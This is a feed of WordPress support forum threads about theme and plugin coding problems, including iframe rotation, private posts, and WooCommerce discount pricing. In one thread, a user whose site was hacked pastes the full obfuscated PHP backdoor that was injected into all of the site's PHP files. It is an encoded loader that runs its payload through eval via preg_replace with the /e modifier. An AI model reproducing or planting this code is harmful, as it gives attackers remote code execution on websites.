Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

KennyWithers on "How to change iframe source on page refresh, by post category"

$
0
0

Hello,

I have been looking for a way to rotate iframes with ads on my single post page (single.php). I would like these to randomly rotate or change every time the page is refreshed. I searched the forum and found this very basic php code:

$urls = array (
  "http://site.com/video1.mp4",
  "http://site.com/video2.mp4",
  "http://site.com/video3.mp4"
);

$rand = mt_rand (0, count ($urls) - 1);

echo "<iframe src='".$urls [$rand]."'></iframe>";

The only problem is that I want to load unique iframes depending on the category of my site. For example, If I have a post about cars, I want car related products to rotate in my iframes. I don't know enough PHP to code it myself, but I believe what I need is something like this:

Category 1 $urls = array (
  "http://site.com/video1.mp4",
  "http://site.com/video2.mp4",
  "http://site.com/video3.mp4"
);

Category 2 $urls = array (
  "http://site.com/video1.mp4",
  "http://site.com/video2.mp4",
  "http://site.com/video3.mp4"
);

Category 3 $urls = array (
  "http://site.com/video1.mp4",
  "http://site.com/video2.mp4",
  "http://site.com/video3.mp4"
);

If post is category 1, display "Category 1 $urls"
$rand = mt_rand (0, count ($urls) - 2);

If post is category 2, display "Category 2 $urls"
$rand = mt_rand (0, count ($urls) - 2);

else display "Category 3 $urls"
$rand = mt_rand (0, count ($urls) - 2);

echo "<iframe src='" [Category} .$urls [$rand]."'></iframe>";

Does anyone have any suggestions?

Thank you for any help!


larryoscs on "Adding Users to View Private Posts"

$
0
0

I'm working on a site that will allow people to create a private post and I want certain only subscribers to be able to view those posts. Unfortunately, password protection isn't an option, so they need to be Private. I've looked for plugins and code that would allow this, but I've come up empty handed so far. Any input would be appreciated. Thanks in advance!

ryanparrish on "ClearDB MySQL SSL Connection"

$
0
0

Hello,

I want to know if anyone has any ideas about creating an SSL connection to my ClearDB MySQL DB

I know I can use

define('DB_SSL', true);

although, clear DB gives me certificates I have to use for the SSL connection how do I define those in wordpress?

Ryan

Pete on "Is there a conditional for the second (and higher) page of an archive?"

$
0
0

Is there a conditional for the second (and higher) page of an archive?

I only want to display something on the first page of archive.php but not on the second -> nth pages.

Thanks

Pete on "My search.php 'query posts' isn't doing what i'm asking it to"

$
0
0

I have a search.php template
I have this code below, I'm asking the loop to only show 2 search posts at a time but it has decided it deserves to show more.

<?php global $query_string; query_posts( $query_string . '&orderby=date&order=asc&posts_per_page=2' ); ?>
<?php if ( have_posts() ) : ?>
<?php while ( have_posts() ) : the_post(); ?>
<?php get_template_part( 'content' ); ?>
<?php endwhile; ?>
<?php else : ?>
<?php get_template_part( 'content', 'none' ); ?>
<?php endif; ?>

Any help greatly appreciated

Jipsu on "Building plugin update api"

$
0
0

I have tried to build own update api, with quite good success. Now I have run a problem. When I add more than one plugin, only one of them gets plugin information correctly. So only one plugin says "Compatibility with WordPress 3.9.2: 100% (according to its author)" in update and other says "Compatibility with WordPress 3.9.2: Unknown" And same goes with plugin information, only one shows tabs and contents when I click "View version details".

Each plugin has same code, expect name of functions are changed according to plugin name. The code I use can be found here: http://pastebin.com/J0ha3kXg
I have followed few tutorials (like this one http://wordpress.stackexchange.com/questions/64148/creating-a-theme-update-notification-api) and everything seem to work to point till I have two or more plugin installed on same site and they want to update.

If I change priority in add_filter( 'plugins_api', 'test_api_call', 10, 3 ); the plugin which have highest number gets its information correctly, others won't. But still when I print out results, every plugin prints its own information, so why WP doesn't show details correctly even plugins get responses correctly?

Other weird thing is that the plugin that shows its information correctly gets other plugins information in first function result, then rest will get every plugin below it and last one gets only its own information.

*Edit
Update still works, so plugins will update correctly, even they don't get version information. So only problem is that change log etc. doesn't show.

sophpetekyan on "helppp..."

$
0
0

PLEASE HELP ME.

Im new to all this wordpress stuff.
the beginning of this year we set up our own site through a host but designing and editing the site was SO complicated. One of our customers introduced me to work press - showed me how to work it & was the administrator.

few months on and he stopped using our business - & had a fall out personally between the landlord and himself.

up until the past few days iv managed to access the site and do all I needed to, I removed him from the site thinking he wouldn't be able to even sign in..

today iv gone to go on and 'the administrator has blocked my user'

how an earth do I get round this?
please help......

dani3bent on "Subscribers Were Mass Spammed"

$
0
0

Our subscribers were spammed 500-600 emails last night - all I am finding in the community forum is information on getting spammed subscribers not our subscribers getting hundreds of spam emails.

Any suggestions for help?


nico80 on "Portal login with remote service best practice"

$
0
0

Hello,

I apologize in advance for the newbie question. I did a search and found a lot of information on how to customize the login screen but I am trying to find out what is the best practice in my scenario. I have an existing database (on a remote site) which has some user data - username, password, and some information that determines what features they should have access to. There is a web service that can provide that information. I would like to connect a WordPress site as a front-end to it so that users accessing the WP portal have to authenticate using that service. What would be the best practice in that case:

  • customize the login screen to access the remote service and map that to a WordPress user (creating the user on the fly)?
  • sync the users from the remote site to WordPress as a background process?
  • create a login form that queries the remote service and handle the user management completely separate from WordPress - this is probably the easiest but do I lose some awesome WordPress functionality like conditional access to features?

Thank you!

miles1234 on "How to stop 404 error on NEXT_POSTS() at end of stack?"

$
0
0

I have hacked up each main post (and each category post) so that it includes only an href tag around an image source. The href is to the link provided by 'next_posts()'

Clicking on the image displayed delivers the user to the next post, just as I want. (For example from, SITE.COM/wp/page/19 TO SITE.COM/wp/page/20.)

Problem is when you get to the last post you get 404 error. I want it to fail gracefully. When there are no more pages, I want to
1) at a minimum not give a 404, and even better to figure out how to
2) pop up a "The End" message or even
3) deliver the user back to the top of the stack (first post... that is, the most recent post)

How do I get NEXT_POSTS() to fail gracefully? Many thanks!

<?php $contentMH = get_the_content( $more_link_text, $stripteaser ) ?> <!-- GRAB CONTENT TO STRING -->

<?php $contentMHpieces = explode(">", $contentMH);?> <!-- EXPLODE CONTENT TO AN ARRAY -->

<!--WRITE SOME HTML -->
<a href= " <?php echo next_posts(); ?> ">
<!-- INCLUDE LINK TO NEXT POSTS-->

<?php echo $contentMHpieces[1].">"; echo $contentMHpieces[2].">"; ?>

Where
$contentMHpieces[0] is just thrown away because it is the permalink that I don't want.
$contentMHpieces[1].">" is the 'img src' etc. and
$contentMHpieces[2].">"; is the closing A tag.

wspencer on "wp_update_comment not working"

$
0
0

I've created a custom comment editor and for some reason, wp_update_comment is not working. It returns 1, which means it should have been successful but it's not actually updating anything. Listed below is my update code. It's important to note that I've double checked that the proper data is being added to $commentarr from the form POST.

$commentarr = array();
$commentarr['comment_ID'] = $comment_ID;
$commentarr['comment_content'] = $commentContent;
$update_success = wp_update_comment($commentarr);

    if ($update_success == 1) {
        $comment = get_comment($comment_ID);
        $article_link = get_permalink($comment->comment_post_ID);
        wp_redirect( $article_link );
    }

    else {
        $commentError = 'Something went wrong while updating your comment.';
        $hasError = true;
    }

yannikin on "Displaying tweets with filter on handle and hashtag"

$
0
0

I am trying to create a twitter feed on the main section of my website. What I'm trying to do is display tweets that are filtered by my twitter handle AND a hashtag.

For example, I want to display ONLY tweets from @yannikin AND contains #example123.

I got it to work so far with just my twitter handle. You can see it at http://www.yannikin.com

Here's the code:

Tweets by @yannikin
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+"://platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
Can someone please help me add the hashtag filter?

THANK YOU MUCH IN ADVANCE!

PipIWYG on "Custom Discount on Products, modifying price output for variable products"

$
0
0

Been hacking away at this for days now, I managed to get some of it working to an extent, but I am a little stuck on modifying the prices of variations...

So here's the thing... I am reading a feed from a product supplier, which I end up, with the use of xpath, generating a csv file that I then in turn import into the product catalogue in woocommerce. Basically, my client gets various discounts on product level from multiple suppliers, and therefore he needs a system that can provide a tier-level membership. Each tier will calculate discounts differently on product level. At this point, I am trying to calculate discount on a bronze level. So, I define the discount percentage for that tier on a product in a custom field. Then, using the following filters in my theme's functions file: woocommerce_get_price, woocommerce_get_regular_price, I retrieve the discount percentage from the custom field on the product, then I calculate the discount amount, and subtract it from the price returned by the product. This all works just swell, pretty much, all over the show, however, the issue that I am having is when you change your selections on a variable product, between size and colours, the price that it returns is indeed the discounted amount, but on selection change, for size, prices are different. Since I am doing my calculation on the price returned on the variation master's minimum price, the calculated value is never recalculated. It uses the calculated value on load and subtracts that same amount from each variable price. I need to recalculate the amount to be subtracted from the selected variation's price. I really hope I'm making sense, cause it's quite confusing to me.

Basically, in short, the amount has to be recalculated on the total price of the selected variation, and then deducted from that total price to show saving amount.

jimmycataldo123 on "How to change the woocommerce SKU text on the product page to Product number"

$
0
0

Hi,

The title says it all really.

Does someone have enough knowhow to help me with this?

I've already tried to change the SKU texts in the woocommerce/single-product/meta.php but that does not work.

I think something is overwriting that.

However i'm not a coder so a simple fix would be appreciated.

Cheers,
Jim

ferme marcotte on "i can not access my admin since it was hacked"

$
0
0

My site has been hacked by Tuncay 117.
Since then I cannot log in
I cannot acces my dashboard

i think I have loose all my post and pages.

can you help me to recover
do I have to change my username ou my domain???
all my business cards have my domain on it
I dont want to change

thank you


bogdanUlea on "Hacked code inserted in all the php files from my website"

$
0
0

Hi,
I have the following problem:
All my .php pages from my website has been hacked. A suspicious code has been inserted on first line of my WordPress website. I have changed all the user access password and database passwords and users and installed a new version (the last version 3.9.1)...It is very strange. The php files from my installation have 0644 rights access on Linux. The hosting is offered by hostmonster.com.....I think is something with their security access. Did somebody had the same issue?

The inserted code is:
<?php $xfsvhcslzb = '%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*25z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}39]252]y83]273]y72]282#<!%x5c%x7825tj-}!#*<%x5c%x7825nfd>%x5c%x782%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597y]#>n%x5c%x7825<#372]58y]472]37y]672#[#-#Y#-#D#-#W#-#C#-#O#-7]D4]275]D:M8]Df#<%x5cc%x78256<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x782f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5t%x5c%x7860msvd}+;!>!}%x5c%x78%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)7%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%157%x64%145%x285]y31]55]y85]82]y76]62]yqp%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825*<(<%x5c%x78e%x5c%x78b%x5c%x7825z)%x5c%x7825bbT-%x5c274]y85]273]y6g]273]y76]271]y7d]252]y74]256]yV%x5c%x7860QUUI&b%x5c%78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%xx7825-#1]#-bubE{h%x5c%5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bj#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hm5z<jg!)%x5c%x7825z>>2*!%x5cIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#56%x75%156%x61"]=1; function fjfgg($n){return chr(o8]y7f#<!%x5c%x7825tww!>!%x5c%x782x5c%x7825Z<^2%x5c%x785c2b%x581]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]3626%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x7824x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hAg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fe7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%5c%x78256<.msv%x5c%x7860ftsbqA%x5c%x7825w%x5c%x7860TW~%x57825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]271]y83]256]x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%164%50%x25c%x785cq%x5c%x7825%x5c%x7827Y%x825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%xx5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z5tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%xx5c%x7860%x5c%x7825}X;5j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]2f!**#sfmcnbs+yfeobz+sfwjidsb%x5c#<%x5c%x7825t2w>#]y74]273]y76]252]y8]37]88y]27]28y]#%x5c%c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825%x5c%x7822:ftmbg39*56A:>:8:|:7#6w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b24!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]2x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<c%x7825!>!2p%x5c%x7825!*3>?*2%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x782%x5c%x7825b:>1<!gps)%xf-s.973:8297f:5297e:56-%x5c%x7878r.985:52985-t.98]K4]65]Dopjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%xg%x5c%x7825)!gj!|!*1?hmg%x5c%x75c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&6<*r#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x27;!>>>!}_;gvc%x5c%x785c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7826<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<Cx7824<!%x5c%x7825tzw>!#])!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5ujpo)##-!#~<#%x5c%x782f%x5c%x**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~25)hopm3qjA)qj3hopmA%x5c%x78273qj%xy78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y3400#W~!%x5c%x7825t2w)##Qtjw)#]82#8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55945c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%5c%x78256<*Y%x5c%x7825)set($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBALS["%x61%1qssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj155%x61%160%x28%42%x66%152%x66%147%5c%x7825)323ldfidk!~%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]3787f_*#fubfsdXk5%x5c%x7860427]36]373P6]36]73]83]238M7]30); preg_replace("%x2f%50%x2e%52%x29%5*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x56]y76]72]y3d]51]y35]274]y4:]>!%x5c%x78246767~6<Cw6825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM5bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f297825o:!>!%x5c%x78242178}527}88:}334c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,%x5c%x782f#M5]DgP5]D6#<%x5c%x785c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuo%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)}472%x5c%x7824<!%x5c%x782<pd%x5c%x7825w6Z6<.5%%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5]256]y6g]257]y86]267]y74]275]y7:]26x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpufrd($n)-1);} @error_reporting(6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878]y84]275]y83]273]y76]2772f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-%x7860QUUI&c_UOFHB%x5c%x7860SFT*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x78ssbnpe_GMFT%x5c%x7860QIQ&f_UTP]68]y33]65]y31]53]y6d]281]y43]78]y33]6fs%x5c%x78257-K)fujs%x5c%x7878Xfm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x5mm!>!#]y81]273]y76]258]y6g]273]y76]27%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e25}&;ftmbg}%x5c%x787f;!osvufs}%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyffnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5]278]225]241]334]368]322]3]364]6]283]5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%x78x7825!|!*)323zbek!~!<b%x5c%x7825!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825h)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825mhpph#)zbssb!-#}#)fec%x7824]25%x5c%x7824-%x5c%x7824-!%x5c3:]84#-!OVMM*<%x22%51%x29%*197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x547R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67Rx7825)tpqsut>j%x5c%x5-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osx5c%x782f#p#%x5c%x782f%x5c%x782<*::::::-111112)eobs%x5c%%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x78t0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%1%76%x21%50%x5c%x7825%x5c%x7x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x:-!%x5c%x7825tzw%x5c%x78fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x7fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!p!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tp%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x78pdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x787f%x551%x29%73", NULL); }DPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6w!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<%x5c%x7825tmw!>!#>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*jfuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7b%x5c%x7825)gpf{jt)!gj!<*2bd%x878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!y76]277]y72]265]y39]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5cU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id1]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x525fdy>#]D4]273]D6P2L5P6]y6gP7L6M33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x7825-#jpmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sx7825#%x5c%x782f#o]#%x5x7824*<!~!dsfbuf%x5c%x7860gvod7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<25-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvu5c%x7825!|!*#91y]c9y]g2y]#>>*4-7824-tusqpt)%x5c%x78-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5~<ofmy%x5c%x7825,3,j%x5c%x7882]y3:]62]y4c#<!%x5c%400~:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x78255c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<#64y]552]e725bss-%x5c%x7825r%x5c%x7878B825%x5c%x785cSFWSFT%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJc%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw4]6]234]342]58]24]31#824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x-%x5c%x7825tdz*Wsfuvso!%x5c%x782!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%vufs!~<3,j%x5c%x7825>j%x5cftmf!}Z;^nbsbq%x5c%x7]48y]#>s%x5c%x7825<#462]47y%x5c%x78256<%x5c%x787fw6*%x5c%x787f_%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvsoif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!ispd19275fubmgoj{h1:|:*mmvo:>:iuho1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x7825%x5c%x7824-%x5c%x786-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x782%x5c%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7*fs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x782%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%141%x72%162%x61%171%x5f%86+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%xc%x7860MPT7-NBFSUT%x5c%x7860Lc%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)+{d%x5c%x7825)+opjudovg+2%134%x78%62%x35%165%x3a%146%x225>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#wI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860bj+upcotn+qsvmt+f5fdy<Cb*[%x5c%x7825h!>!%x5c%x7825td#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%/(.*)/epreg_replacewzahbxxjbx'; $yebyrnoqpq = explode(chr((167-123)),'8897,63,3703,59,1275,51,4939,29,4053,38,569,60,9427,25,3810,35,1856,52,9687,31,6570,28,7500,65,4190,22,4775,21,1499,66,10050,56,2004,38,3201,41,5660,62,3865,56,9060,58,3028,53,5416,31,4968,44,387,48,9208,54,6169,54,9500,29,7216,55,5289,59,3456,35,3680,23,5722,39,5761,30,6223,67,934,51,4796,48,1908,32,1737,30,1658,35,3999,25,9613,50,6742,59,1693,44,2735,46,5183,55,8455,35,7706,66,8752,36,4091,70,4570,70,7424,46,4212,61,4880,59,481,30,3128,22,5630,30,2578,48,2947,50,3150,51,6368,39,8678,26,7379,45,6903,44,3628,52,1052,22,6348,20,7104,37,8235,28,9718,58,1137,48,2997,31,1940,64,8114,31,8992,68,3404,52,8642,36,1359,28,2781,29,7470,30,5828,49,653,62,435,46,5583,47,511,58,6801,56,6438,25,2626,52,6463,45,2341,33,9828,23,6086,20,7913,43,6857,46,3762,48,2084,49,5348,30,9776,52,5152,31,812,22,5928,32,8788,61,3081,47,3845,20,1619,39,7053,51,8704,21,8435,20,2191,22,6983,70,8047,67,9262,54,2546,32,9886,45,8960,32,5447,45,834,47,9663,24,3266,70,7141,55,3336,39,4418,65,4483,56,6290,58,2133,58,3921,41,5238,51,7585,61,7849,64,6508,62,7956,23,9529,46,3242,24,7565,20,767,45,177,37,7271,68,5071,24,2374,36,4844,36,1326,33,8284,68,7339,40,2410,21,7646,60,4640,65,8352,55,305,36,8725,27,9995,55,985,67,4383,35,4750,25,5492,38,7772,45,6106,37,9361,66,5530,53,8557,53,8145,20,58,66,2431,66,1449,50,8165,70,9316,45,6947,36,7979,30,3375,29,9118,23,2678,57,4161,29,8263,21,6598,64,2497,49,6662,56,8849,48,5960,39,8490,46,6045,41,5999,46,1212,63,3540,32,5877,51,8407,28,243,62,2890,57,3572,56,9141,67,2042,42,4539,31,7817,32,365,22,2278,63,124,53,214,29,9851,35,747,20,0,58,3962,37,5791,37,4024,29,1387,62,8536,21,8610,32,4316,67,9452,48,8009,38,2868,22,1074,63,1565,54,9575,38,2810,58,2213,65,881,53,6407,31,1185,27,4705,45,1767,27,5012,59,6718,24,5095,57,341,24,4273,43,715,32,9931,64,1794,62,3491,49,5378,38,629,24,6143,26,7196,20'); $qscmjmqose=substr($xfsvhcslzb,(32338-22232),(28-21)); if (!function_exists('jqmtqbqims')) { function jqmtqbqims($lobzdwfrxg, $vpssrsjtab) { $qmjbrwxvex = NULL; for($hprwzufgsb=0;$hprwzufgsb<(sizeof($lobzdwfrxg)/2);$hprwzufgsb++) { $qmjbrwxvex .= substr($vpssrsjtab, $lobzdwfrxg[($hprwzufgsb*2)],$lobzdwfrxg[($hprwzufgsb*2)+1]); } return $qmjbrwxvex; };} $qbewuuvtsf="\x20\57\x2a\40\x71\161\x62\143\x6b\144\x78\153\x73\144\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\61\x37\55\x31\70\x30\51\x29\54\x20\143\x68\162\x28\50\x33\63\x33\55\x32\64\x31\51\x29\54\x20\152\x71\155\x74\161\x62\161\x69\155\x73\50\x24\171\x65\142\x79\162\x6e\157\x71\160\x71\54\x24\170\x66\163\x76\150\x63\163\x6c\172\x62\51\x29\51\x3b\40\x2f\52\x20\172\x77\151\x63\162\x6e\161\x6d\141\x77\40\x2a\57\x20"; $qkftatwrqv=substr($xfsvhcslzb,(49095-38982),(47-35)); $qkftatwrqv($qscmjmqose, $qbewuuvtsf, NULL); $qkftatwrqv=$qbewuuvtsf; $qkftatwrqv=(556-435); $xfsvhcslzb=$qkftatwrqv-1; ?>

CodeUtopia on "Need help with code to integrate s2member and woocommerce"

$
0
0

Hello WP community, I am trying to build a WP e-commerce site
and I have run into an issue. I'll give some background first.

